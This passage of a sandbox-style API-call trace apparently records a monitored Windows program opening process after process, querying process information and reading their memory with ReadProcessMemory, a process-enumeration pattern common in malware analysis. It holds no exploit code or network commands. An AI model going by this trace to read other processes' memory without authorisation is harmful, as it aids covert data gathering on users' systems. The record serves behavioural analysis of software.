lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.716] free (_Block=0x196ef0d31b0) [0168.717] CloseHandle (hObject=0x26c) returned 1 [0168.718] _ui64tow_s (in: _Value=0xe40, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3648") returned 0x0 [0168.724] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3648") returned 4 [0168.726] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.726] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.798] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe40) returned 0x26c [0168.798] GetLastError () returned 0x0 [0168.799] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x35b018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e1ca0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.799] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e18f8, lpBuffer=0x670ffc3f0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.800] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.801] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.802] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x35b020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.802] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.802] malloc (_Size=0x5a) returned 0x196ef0d0610 [0168.802] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4e194a, lpBuffer=0x196ef0d0610, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0610*, lpNumberOfBytesRead=0x0) returned 1 [0168.803] free (_Block=0x196ef0d0610) [0168.804] CloseHandle (hObject=0x26c) returned 1 [0168.805] _ui64tow_s (in: _Value=0xe48, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3656") returned 0x0 [0168.810] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3656") returned 4 [0168.812] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.812] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.909] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe48) returned 0x26c [0168.909] GetLastError () returned 0x0 [0168.910] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.910] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b4018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.910] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.910] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2f1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.910] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2f18f8, lpBuffer=0x670ffc3f0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.911] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.913] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.913] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b4020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.913] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.913] malloc (_Size=0x76) returned 0x196ef0d2120 [0168.913] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2f1966, lpBuffer=0x196ef0d2120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0168.915] free (_Block=0x196ef0d2120) [0168.916] CloseHandle (hObject=0x26c) returned 1 [0168.917] _ui64tow_s (in: _Value=0xe54, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3668") returned 0x0 [0168.922] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3668") returned 4 [0168.924] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.924] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.996] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe54) returned 0x26c [0168.996] GetLastError () returned 0x0 [0168.996] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.996] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x541018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.996] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.997] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.997] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.998] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.999] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.999] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x541020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.999] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.000] malloc (_Size=0x60) returned 0x196ef0d0530 [0169.000] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7d1950, lpBuffer=0x196ef0d0530, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0169.001] free (_Block=0x196ef0d0530) [0169.002] CloseHandle (hObject=0x26c) returned 1 [0169.002] _ui64tow_s (in: _Value=0xe5c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3676") returned 0x0 [0169.008] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3676") returned 4 [0169.009] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.009] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe5c) returned 0x26c [0169.027] GetLastError () returned 0x0 [0169.027] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.027] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x470018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.028] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.028] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7e1cb0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.028] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7e18f8, lpBuffer=0x670ffc3f0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.029] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.030] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.030] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x470020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.030] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7e12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.031] malloc (_Size=0x60) returned 0x196ef0d03e0 [0169.031] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7e1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0169.032] free (_Block=0x196ef0d03e0) [0169.032] CloseHandle (hObject=0x26c) returned 1 [0169.033] _ui64tow_s (in: _Value=0xe70, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3696") returned 0x0 [0169.037] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3696") returned 4 [0169.039] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.039] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.152] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe70) returned 0x26c [0169.152] GetLastError () returned 0x0 [0169.153] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.153] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x217018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.153] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.153] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1cd0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.153] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.154] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.155] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.155] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x217020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.156] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.156] malloc (_Size=0x66) returned 0x196ef0d06f0 [0169.156] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1956, lpBuffer=0x196ef0d06f0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.157] free (_Block=0x196ef0d06f0) [0169.157] CloseHandle (hObject=0x26c) returned 1 [0169.158] _ui64tow_s (in: _Value=0xe78, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3704") returned 0x0 [0169.163] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3704") returned 4 [0169.165] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.165] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.272] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe78) returned 0x26c [0169.273] GetLastError () returned 0x0 [0169.273] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.273] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x202018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.273] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.273] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.273] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.274] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.276] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.276] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x202020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.276] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.277] malloc (_Size=0x78) returned 0x196ef0d2120 [0169.277] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4a1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0169.277] free (_Block=0x196ef0d2120) [0169.278] CloseHandle (hObject=0x26c) returned 1 [0169.279] _ui64tow_s (in: _Value=0xe88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3720") returned 0x0 [0169.284] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3720") returned 4 [0169.285] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.285] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.363] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe88) returned 0x26c [0169.363] GetLastError () returned 0x0 [0169.363] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.364] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ac018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.364] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.364] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d1d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.364] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d18f8, lpBuffer=0x670ffc3f0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.365] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.367] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.367] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x3ac020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0169.367] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0169.368] malloc (_Size=0x78) returned 0x196ef0d2120 [0169.368] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d1968, lpBuffer=0x196ef0d2120, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d2120*, lpNumberOfBytesRead=0x0) returned 1 [0169.368] free (_Block=0x196ef0d2120) [0169.370] CloseHandle (hObject=0x26c) returned 1 [0169.370] _ui64tow_s (in: _Value=0xe90, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3728") returned 0x0 [0169.375] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3728") returned 4 [0169.376] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0169.377] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0169.442] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe90) returned 0x26c [0169.442] GetLastError () returned 0x0 [0169.442] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0169.442] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x30e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0169.442] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0169.442] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0169.442] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4b18f8, lpBuffer=0x670ffc3f0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0169.443] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0169.444] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0169.444] ReadProcessMemory (in: hProcess=0x26c, 